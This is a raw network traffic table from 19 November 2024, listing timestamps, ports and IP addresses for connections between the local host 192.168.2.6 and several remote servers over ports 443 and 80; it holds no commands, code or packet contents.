Nov 19, 2024 01:01:45.115592003 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.115619898 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.116370916 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.116384983 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.116449118 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.116457939 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.117175102 CET	443	49945	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:45.117244959 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.117526054 CET	49945	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:45.117537975 CET	443	49945	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:45.117588043 CET	443	49944	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:45.117860079 CET	443	49945	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:45.118024111 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.118037939 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.118093967 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.118102074 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.118371010 CET	49944	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:45.118377924 CET	443	49944	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:45.118391991 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.118712902 CET	443	49944	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:45.119390965 CET	49945	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:45.119472980 CET	443	49945	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:45.119657993 CET	49944	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:45.120018959 CET	443	49944	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:45.120019913 CET	443	49937	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.120136023 CET	443	49937	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.120326996 CET	49937	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.120513916 CET	49937	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.120522976 CET	443	49937	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.120551109 CET	49937	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.120554924 CET	443	49937	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.120599985 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.120614052 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.120663881 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.120671988 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.120829105 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.121682882 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.121699095 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.121757984 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.121764898 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.122010946 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.123971939 CET	49952	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.124083042 CET	443	49952	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.124167919 CET	49952	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.124339104 CET	49952	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.124375105 CET	443	49952	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.124558926 CET	443	49940	20.42.73.24	192.168.2.6
Nov 19, 2024 01:01:45.124799013 CET	49940	443	192.168.2.6	20.42.73.24
Nov 19, 2024 01:01:45.124808073 CET	443	49940	20.42.73.24	192.168.2.6
Nov 19, 2024 01:01:45.125699997 CET	443	49940	20.42.73.24	192.168.2.6
Nov 19, 2024 01:01:45.125982046 CET	49940	443	192.168.2.6	20.42.73.24
Nov 19, 2024 01:01:45.126818895 CET	49940	443	192.168.2.6	20.42.73.24
Nov 19, 2024 01:01:45.126818895 CET	49940	443	192.168.2.6	20.42.73.24
Nov 19, 2024 01:01:45.126818895 CET	49940	443	192.168.2.6	20.42.73.24
Nov 19, 2024 01:01:45.126851082 CET	443	49940	20.42.73.24	192.168.2.6
Nov 19, 2024 01:01:45.126905918 CET	443	49940	20.42.73.24	192.168.2.6
Nov 19, 2024 01:01:45.135667086 CET	443	49942	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.135787010 CET	443	49942	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.135868073 CET	49942	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.136499882 CET	49942	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.136504889 CET	443	49942	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.137660980 CET	443	49936	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.137722969 CET	443	49936	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.137736082 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.137784958 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.137830973 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.137840033 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.137845993 CET	49936	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.137865067 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.137886047 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.138127089 CET	49936	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.138127089 CET	49936	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.138170004 CET	443	49936	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.138194084 CET	443	49936	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.139178991 CET	49953	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.139213085 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.139278889 CET	49953	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.139631987 CET	49953	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.139647007 CET	443	49953	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:45.141163111 CET	49954	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.141195059 CET	443	49954	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.141271114 CET	49954	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.141434908 CET	49954	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.141460896 CET	443	49954	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.144217968 CET	443	49941	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:45.144429922 CET	49941	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:45.144448996 CET	443	49941	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:45.147821903 CET	443	49941	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:45.147890091 CET	49941	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:45.148175001 CET	443	49935	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.148752928 CET	443	49935	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.148807049 CET	443	49935	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.148890972 CET	49935	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.148947001 CET	49941	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:45.149079084 CET	443	49941	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:45.149111032 CET	49935	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.149112940 CET	49941	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:45.149118900 CET	443	49935	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.152264118 CET	49955	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.152278900 CET	443	49955	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.152381897 CET	49955	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.152672052 CET	49955	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.152684927 CET	443	49955	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.156795979 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.156830072 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.156879902 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.156922102 CET	49938	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.156971931 CET	49938	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.157236099 CET	49938	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.157272100 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.157299995 CET	49938	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.157315016 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.160408020 CET	49945	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:45.160816908 CET	49956	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.160846949 CET	443	49956	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.160943031 CET	49956	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.161132097 CET	49956	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.161144018 CET	443	49956	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.172655106 CET	443	49939	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.172794104 CET	443	49939	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.172867060 CET	49939	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.172974110 CET	49939	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.172981977 CET	443	49939	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.172990084 CET	49939	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.172992945 CET	443	49939	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.175342083 CET	49957	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.175385952 CET	443	49957	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.175635099 CET	49957	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.175749063 CET	49944	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:45.176045895 CET	49940	443	192.168.2.6	20.42.73.24
Nov 19, 2024 01:01:45.176055908 CET	443	49940	20.42.73.24	192.168.2.6
Nov 19, 2024 01:01:45.176477909 CET	49957	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.176495075 CET	443	49957	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.191325903 CET	443	49941	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:45.209965944 CET	443	49943	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.213124990 CET	49943	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.213140011 CET	443	49943	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.214190960 CET	443	49943	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.214252949 CET	49943	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.215486050 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.215513945 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.215574026 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.215584040 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.215606928 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.215626001 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.215698957 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.215718031 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.215764046 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.215770960 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.216077089 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.216105938 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.216137886 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.216145039 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.216166019 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.216195107 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.216660976 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.216681004 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.216728926 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.216739893 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.217052937 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.217076063 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.217108965 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.217116117 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.217145920 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.217173100 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.217284918 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.217322111 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.217340946 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.217349052 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.217360020 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.217396021 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.218019962 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.219620943 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.221252918 CET	49943	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.221344948 CET	443	49943	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.222039938 CET	49943	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.222049952 CET	443	49943	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.225487947 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.225496054 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.304169893 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.304181099 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.304250956 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.304462910 CET	49959	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.304481030 CET	443	49959	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.320682049 CET	443	49941	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:45.322035074 CET	49941	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:45.324526072 CET	49941	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:45.324542999 CET	443	49941	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:45.335998058 CET	443	49940	20.42.73.24	192.168.2.6
Nov 19, 2024 01:01:45.336106062 CET	49940	443	192.168.2.6	20.42.73.24
Nov 19, 2024 01:01:45.336725950 CET	49940	443	192.168.2.6	20.42.73.24
Nov 19, 2024 01:01:45.336744070 CET	443	49940	20.42.73.24	192.168.2.6
Nov 19, 2024 01:01:45.361125946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361135960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361144066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361154079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361166000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361182928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361191988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361202955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361222029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361232042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361237049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361242056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361325979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361335993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361337900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361351967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361361980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361371994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361399889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361437082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361462116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361473083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361483097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361495018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361505985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361519098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361556053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361562014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361603975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361629009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361639023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361654997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361665010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361674070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361684084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361686945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361696005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361725092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361772060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361809015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361820936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361829996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361844063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361854076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361860991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.361865044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.361922979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.362019062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362062931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362071991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362109900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362128973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362128973 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.362140894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362159967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.362209082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.362261057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362272978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362284899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362318993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.362330914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362350941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.362421036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.362473011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362483025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362493992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362504005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.362523079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.362571955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.363755941 CET	49943	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.407303095 CET	443	49943	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.443526983 CET	443	49943	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.443839073 CET	49943	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.449497938 CET	49943	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.449520111 CET	443	49943	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.455004930 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.455033064 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.455166101 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.455442905 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:45.455454111 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:45.493119001 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.498191118 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.498215914 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.499094009 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.499197960 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.500396013 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.500449896 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.500588894 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.509493113 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.509762049 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.511209011 CET	49948	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.511243105 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.511311054 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.511327028 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.511706114 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.512026072 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.512061119 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.512069941 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.512386084 CET	49948	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.512494087 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.512587070 CET	49948	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.513336897 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.513395071 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.513808012 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.513892889 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.513950109 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.513962030 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.516107082 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.516180038 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.516522884 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.516635895 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.516661882 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.518356085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.518388987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.518398046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.518410921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.518443108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.518443108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.547327042 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.551657915 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.551664114 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.555347919 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.559340000 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.600661993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600684881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600694895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600754023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600754023 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.600765944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600775957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600790024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600802898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.600809097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600819111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600820065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.600831032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600841999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600852013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.600860119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600884914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.600902081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600912094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600922108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600923061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.600934982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600944996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600950003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.600960016 CET	80	49889	185.215.113.206	192.168.2.6
